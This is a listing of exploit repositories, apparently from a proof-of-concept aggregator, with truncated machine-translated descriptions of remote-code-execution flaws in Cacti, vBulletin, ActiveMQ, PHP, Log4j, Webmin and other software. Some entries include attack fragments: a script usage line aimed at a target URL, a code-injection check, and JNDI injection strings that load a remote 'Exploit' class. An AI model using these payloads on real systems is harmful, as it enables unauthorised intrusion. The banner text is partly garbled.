CVE-2025-7441

CVE-2025-7441 StoryChief data - sizes - full pointant vers une URL arbitraire. StoryChief n'effectue pas de validation suffisante du type de fichier/contenu et ne restreint pas la source de l'URL, ce qui permet au plugin de récupérer la ressource dist...

telerik-scanner-CVE-2019-18935

ماسح الثغرة Telerik CVE-2019-18935 ماسح أمني مبني على بايثون مصمم لاكتشاف ثغرة تنفيذ الأكواد عن بُعد في Telerik UI for ASP.NET AJAX CVE-2019-18935. 🚨 تفاصيل الثغرة CVE : CVE-2019-18935 مستوى الخطورة : عالي CWE : CWE-913 CVSS : 9.8 حرج الوصف يحتوي Telerik UI for ASP.NET AJAX حتى الإصدار 2019.3.102...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 الاستخدام: python3 cve-2024-29895.py -u https://target.com/ -c id يؤثر على إصدارات Cacti 1.3.X في إصدارات DEV حيث يكون cmdrealtime.php موجودًا و POLLERID مفعلة. يمكن تنفيذ حقن الأوامر عبر هذا المسار، عن طريق طلب GET مع تحميل الحمولة كمعلمات استعلام HTML. دُرك: Google:...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة ملاحظة: بعض حزم الـ PoC المُرسلة يُرد عليها بـ 403 بدلاً من 200 تحقق مُحسَّن: echo md5'vBulletin'; تحقق من وجود be4ea51d962be8308a0099ae1eb3ec63 في حزمة الاستجابة. print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell يستغل هذا السكربت CVE-2023-46604 Apache ActiveMQ لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن...

CVE-2025-24893-RCE-PoC

Informations Ce PoC teste d'abord la SSTI et, si elle fonctionne, il boucle et vous permet d'exécuter des commandes à distance. Les commandes exec et shell font la même chose actuellement. Installation python3 -m pip install requirements.txt Utilisation Connexion python3 poc.py Exemple Avec debug...

itsm-exploit

Exploits pour Ivanti Neurons for ITSM On Premise Ce script exploite plusieurs failles qui permettent à un attaquant non authentifié d'obtenir un accès administrateur et d'exécuter des commandes à distance CVE-2023-46808 sur Ivanti Neurons for ITSM On Premise. Pour les détails techniques, voir...

CVE-2024-4577-RCE

حقن وسائط PHP CGI CVE-2024-4577 RCE 📜 الوصف في إصدارات PHP 8.1. قبل 8.1.29، و8.2. قبل 8.2.20، و8.3. قبل 8.3.8، عند استخدام Apache وPHP-CGI على ويندوز، إذا كان النظام مهيأ لاستخدام صفحات أكواد معينة، فقد يستخدم ويندوز سلوك "Best-Fit" لاستبدال الأحرف في سطر الأوامر المُمرر إلى دوال Win32 API. قد تف...

CVE-2018-1263-Demo

Демонстрация эксплойта Это руководство поможет вам установить уязвимый компонент и выполнить атаку, связанную с ошибкой phpMyAdmin, упомянутой в CVE-2018-1263. Описание CVE Почему существует уязвимость Как работает атака Как установить уязвимый компонент Как выполнить атаку Описание CVE Эта...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 RCE بعد المصادقة يمكن للمهاجمين المصادَق عليهم استخدام وظيفة PHP-Editor في إصدارات FusionPBX = 4.5.10 لتعديل إحدى صفحات PHP الموجودة لإدراج حمولة PHP. ومن خلال الانتقال إلى الملف المعدَّل، نتمكن من الحصول على شل بصلاحية www-data. اكتشفها TheCyberGeek...

CVE-2024-37054-MLflow-RCE

| / || | | || | / \ \ / / | |/| || | | | | | | | | |\ \ /\ / / | | | || | | | | || || | \ V V / || |||||| ||/ // | \ / || | | \ / | | | || | | | | | |/ \ | | | | | | | | /| || | || \ ||| || / | CVE-2024-37054: Preuve de concept d'exécution de code à distance MLflow Ce dépôt contient une...

CVE-2023-4220-exploit

CVE-2023-4220-exploit تحميل غير مقيد للملفات في وظيفة تحميل الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS الإصدارات = 1.11.24 يسمح للمهاجمين غير المصادقين بتنفيذ هجمات Cross Site Scripting المخزنة والحصول على تنفيذ كود عن بعد عن طريق تحميل web shell. PoC...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep وحدة Metasploit لـ CVE-2019-0708 BlueKeep مأخوذ من https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp وتم إصلاحه تعليمات نسخ الملفات 1. أنشئ مجلدًا باسم 'rdp' في المسار...

CVE-2022-36446

CVE-2022-36446 CVE-2022-36446 - Webmin 1.996 تنفيذ التعليمات البرمجية عن بُعد يلزم الوصول إلى وحدة «تحديثات حزم البرامج» لتفعيل الثغرة الأمنية. يمكن للمستخدمين الذين لديهم حق الوصول إلى هذه الوحدة تشغيل أوامر بصلاحيات الجذر على النظام عبر حقن أوامر نظام التشغيل أثناء تثبيت حزمة جديدة. طلب HTTP:...

gitlab-rce-demo

Démo RCE GitLab Oj Ce dépôt contient une démo autonome de la chaîne RCE notebook-diff de GitLab décrite dans nos recherches. Il démarre un conteneur GitLab 18.11.3 vierge, crée un utilisateur ordinaire via l’interface HTTP publique, puis exécute le PoC contre cette instance. Détails techniques : ...

cve-2021-25646

Apache Druid تنفيذ التعليمات البرمجية عن بُعد ملخص الثغرة أصدرت Apache Druid تحديثًا أمنيًا رسميًا أبلغت فيه عن ثغرة تنفيذ تعليمات برمجية عن بُعد، برقم CVE-2021-25646. نظرًا لأن Apache Druid يفتقر إلى المصادقة والتفويض بشكل افتراضي، يمكن للمهاجم إرسال طلبات مُصممة خصيصًا لتنفيذ تعليمات برمجية...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل RmiServer و LdapServ...

CVE-2025-45466

CVE-2025-45466 هذه هي تفاصيل CVE-2025-45466 الإفصاح عن الثغرة: CVE-2025-45466 الملخص تم اكتشاف ثغرة أمنية في الكلب الآلي Unitree Go1 جميع الإصدارات using the...

CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE استغلال لتنفيذ الأوامر عن بُعد بعد المصادقة على خادم ويب OpenPLC v3...

CVE-2022-42889-PoC

CVE-2022-42889 المعروفة أيضًا باسم Text4Shell إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد RCE Text4Shell هو الاسم الشائع لثغرة برمجية حرجة تم اكتشافها في مكتبة Apache Commons Text انظر CVE-2022-42889. يهدف هذا المستودع إلى توضيح تنفيذ التعليمات البرمجية عن بُعد RCE يستغل هذه الثغرة CVE. يتم...